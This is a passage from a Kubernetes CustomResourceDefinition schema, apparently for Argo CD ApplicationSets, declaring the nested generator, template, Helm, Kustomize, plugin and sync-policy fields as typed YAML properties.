                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  type: object
                                selector:
                                  properties:
                                    matchExpressions:
                                      items:
                                        properties:
                                          key:
                                            type: string
                                          operator:
                                            type: string
                                          values:
                                            items:
                                              type: string
                                            type: array
                                            x-kubernetes-list-type: atomic
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                      x-kubernetes-list-type: atomic
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                              type: object
                            type: array
                          template:
                            properties:
                              metadata:
                                properties:
                                  annotations:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  finalizers:
                                    items:
                                      type: string
                                    type: array
                                  labels:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  name:
                                    type: string
                                  namespace:
                                    type: string
                                type: object
                              spec:
                                properties:
                                  destination:
                                    properties:
                                      name:
                                        type: string
                                      namespace:
                                        type: string
                                      server:
                                        type: string
                                    type: object
                                  ignoreDifferences:
                                    items:
                                      properties:
                                        group:
                                          type: string
                                        jqPathExpressions:
                                          items:
                                            type: string
                                          type: array
                                        jsonPointers:
                                          items:
                                            type: string
                                          type: array
                                        kind:
                                          type: string
                                        managedFieldsManagers:
                                          items:
                                            type: string
                                          type: array
                                        name:
                                          type: string
                                        namespace:
                                          type: string
                                      required:
                                      - kind
                                      type: object
                                    type: array
                                  info:
                                    items:
                                      properties:
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  project:
                                    type: string
                                  revisionHistoryLimit:
                                    format: int64
                                    type: integer
                                  source:
                                    properties:
                                      chart:
                                        type: string
                                      directory:
                                        properties:
                                          exclude:
                                            type: string
                                          include:
                                            type: string
                                          jsonnet:
                                            properties:
                                              extVars:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                              libs:
                                                items:
                                                  type: string
                                                type: array
                                              tlas:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          recurse:
                                            type: boolean
                                        type: object
                                      helm:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          fileParameters:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                              type: object
                                            type: array
                                          ignoreMissingValueFiles:
                                            type: boolean
                                          kubeVersion:
                                            type: string
                                          namespace:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                forceString:
                                                  type: boolean
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              type: object
                                            type: array
                                          passCredentials:
                                            type: boolean
                                          releaseName:
                                            type: string
                                          skipCrds:
                                            type: boolean
                                          skipSchemaValidation:
                                            type: boolean
                                          skipTests:
                                            type: boolean
                                          valueFiles:
                                            items:
                                              type: string
                                            type: array
                                          values:
                                            type: string
                                          valuesObject:
                                            type: object
                                            x-kubernetes-preserve-unknown-fields: true
                                          version:
                                            type: string
                                        type: object
                                      kustomize:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          commonAnnotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          commonAnnotationsEnvsubst:
                                            type: boolean
                                          commonLabels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          components:
                                            items:
                                              type: string
                                            type: array
                                          forceCommonAnnotations:
                                            type: boolean
                                          forceCommonLabels:
                                            type: boolean
                                          ignoreMissingComponents:
                                            type: boolean
                                          images:
                                            items:
                                              type: string
                                            type: array
                                          kubeVersion:
                                            type: string
                                          labelIncludeTemplates:
                                            type: boolean
                                          labelWithoutSelector:
                                            type: boolean
                                          namePrefix:
                                            type: string
                                          nameSuffix:
                                            type: string
                                          namespace:
                                            type: string
                                          patches:
                                            items:
                                              properties:
                                                options:
                                                  additionalProperties:
                                                    type: boolean
                                                  type: object
                                                patch:
                                                  type: string
                                                path:
                                                  type: string
                                                target:
                                                  properties:
                                                    annotationSelector:
                                                      type: string
                                                    group:
                                                      type: string
                                                    kind:
                                                      type: string
                                                    labelSelector:
                                                      type: string
                                                    name:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    version:
                                                      type: string
                                                  type: object
                                              type: object
                                            type: array
                                          replicas:
                                            items:
                                              properties:
                                                count:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  x-kubernetes-int-or-string: true
                                                name:
                                                  type: string
                                              required:
                                              - count
                                              - name
                                              type: object
                                            type: array
                                          version:
                                            type: string
                                        type: object
                                      name:
                                        type: string
                                      path:
                                        type: string
                                      plugin:
                                        properties:
                                          env:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              required:
                                              - name
                                              - value
                                              type: object
                                            type: array
                                          name:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                array:
                                                  items:
                                                    type: string
                                                  type: array
                                                map:
                                                  additionalProperties:
                                                    type: string
                                                  type: object
                                                name:
                                                  type: string
                                                string:
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                      ref:
                                        type: string
                                      repoURL:
                                        type: string
                                      targetRevision:
                                        type: string
                                    required:
                                    - repoURL
                                    type: object
                                  sourceHydrator:
                                    properties:
                                      drySource:
                                        properties:
                                          path:
                                            type: string
                                          repoURL:
                                            type: string
                                          targetRevision:
                                            type: string
                                        required:
                                        - path
                                        - repoURL
                                        - targetRevision
                                        type: object
                                      hydrateTo:
                                        properties:
                                          targetBranch:
                                            type: string
                                        required:
                                        - targetBranch
                                        type: object
                                      syncSource:
                                        properties:
                                          path:
                                            type: string
                                          targetBranch:
                                            type: string
                                        required:
                                        - path
                                        - targetBranch
                                        type: object
                                    required:
                                    - drySource
                                    - syncSource
                                    type: object
                                  sources:
                                    items:
                                      properties:
                                        chart:
                                          type: string
                                        directory:
                                          properties:
                                            exclude:
                                              type: string
                                            include:
                                              type: string
                                            jsonnet:
                                              properties:
                                                extVars:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                                libs:
                                                  items:
                                                    type: string
                                                  type: array
                                                tlas:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                              type: object
                                            recurse:
                                              type: boolean
                                          type: object
                                        helm:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            fileParameters:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                type: object
                                              type: array
                                            ignoreMissingValueFiles:
                                              type: boolean
                                            kubeVersion:
                                              type: string
                                            namespace:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  forceString:
                                                    type: boolean
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                type: object
                                              type: array
                                            passCredentials:
                                              type: boolean
                                            releaseName:
                                              type: string
                                            skipCrds:
                                              type: boolean
                                            skipSchemaValidation:
                                              type: boolean
                                            skipTests:
                                              type: boolean
                                            valueFiles:
                                              items:
                                                type: string
                                              type: array
                                            values:
                                              type: string
                                            valuesObject:
                                              type: object
                                              x-kubernetes-preserve-unknown-fields: true
                                            version:
                                              type: string
                                          type: object
                                        kustomize:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            commonAnnotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            commonAnnotationsEnvsubst:
                                              type: boolean
                                            commonLabels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            components:
                                              items:
                                                type: string
                                              type: array
                                            forceCommonAnnotations:
                                              type: boolean
                                            forceCommonLabels:
                                              type: boolean
                                            ignoreMissingComponents:
                                              type: boolean
                                            images:
                                              items:
                                                type: string
                                              type: array
                                            kubeVersion:
                                              type: string
                                            labelIncludeTemplates:
                                              type: boolean
                                            labelWithoutSelector:
                                              type: boolean
                                            namePrefix:
                                              type: string
                                            nameSuffix:
                                              type: string
                                            namespace:
                                              type: string
                                            patches:
                                              items:
                                                properties:
                                                  options:
                                                    additionalProperties:
                                                      type: boolean
                                                    type: object
                                                  patch:
                                                    type: string
                                                  path:
                                                    type: string
                                                  target:
                                                    properties:
                                                      annotationSelector:
                                                        type: string
                                                      group:
                                                        type: string
                                                      kind:
                                                        type: string
                                                      labelSelector:
                                                        type: string
                                                      name:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      version:
                                                        type: string
                                                    type: object
                                                type: object
                                              type: array
                                            replicas:
                                              items:
                                                properties:
                                                  count:
                                                    anyOf:
                                                    - type: integer
                                                    - type: string
                                                    x-kubernetes-int-or-string: true
                                                  name:
                                                    type: string
                                                required:
                                                - count
                                                - name
                                                type: object
                                              type: array
                                            version:
                                              type: string
                                          type: object
                                        name:
                                          type: string
                                        path:
                                          type: string
                                        plugin:
                                          properties:
                                            env:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            name:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  array:
                                                    items:
                                                      type: string
                                                    type: array
                                                  map:
                                                    additionalProperties:
                                                      type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  string:
                                                    type: string
                                                type: object
                                              type: array
                                          type: object
                                        ref:
                                          type: string
                                        repoURL:
                                          type: string
                                        targetRevision:
                                          type: string
                                      required:
                                      - repoURL
                                      type: object
                                    type: array
                                  syncPolicy:
                                    properties:
                                      automated:
                                        properties:
                                          allowEmpty:
                                            type: boolean
                                          enabled:
                                            type: boolean
                                          prune:
                                            type: boolean
                                          selfHeal:
                                            type: boolean
                                        type: object
                                      managedNamespaceMetadata:
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                        type: object
                                      retry:
                                        properties:
                                          backoff:
                                            properties:
                                              duration:
                                                type: string
                                              factor:
                                                format: int64
                                                type: integer
                                              maxDuration:
                                                type: string
                                            type: object
                                          limit:
                                            format: int64
                                            type: integer
                                        type: object
                                      syncOptions:
                                        items:
                                          type: string
                                        type: array
                                    type: object
                                required:
                                - destination
                                - project
                                type: object
                            required:
                            - metadata
                            - spec
                            type: object
                        required:
                        - generators
                        type: object
                      merge:
                        properties:
                          generators:
                            items:
                              properties:
                                clusterDecisionResource:
                                  properties:
                                    configMapRef:
                                      type: string
                                    labelSelector:
                                      properties:
                                        matchExpressions:
                                          items:
                                            properties:
                                              key:
                                                type: string
                                              operator:
                                                type: string
                                              values:
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                            required:
                                            - key
                                            - operator
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        matchLabels:
                                          additionalProperties:
                                            type: string
                                          type: object
                                      type: object
                                      x-kubernetes-map-type: atomic
                                    name:
                                      type: string
                                    requeueAfterSeconds:
                                      format: int64
                                      type: integer
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  required:
                                  - configMapRef
                                  type: object
                                clusters:
                                  properties:
                                    flatList:
                                      type: boolean
                                    selector:
                                      properties:
                                        matchExpressions:
                                          items:
                                            properties:
                                              key:
                                                type: string
                                              operator:
                                                type: string
                                              values:
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                            required:
                                            - key
                                            - operator
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        matchLabels:
                                          additionalProperties:
                                            type: string
                                          type: object
                                      type: object
                                      x-kubernetes-map-type: atomic
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
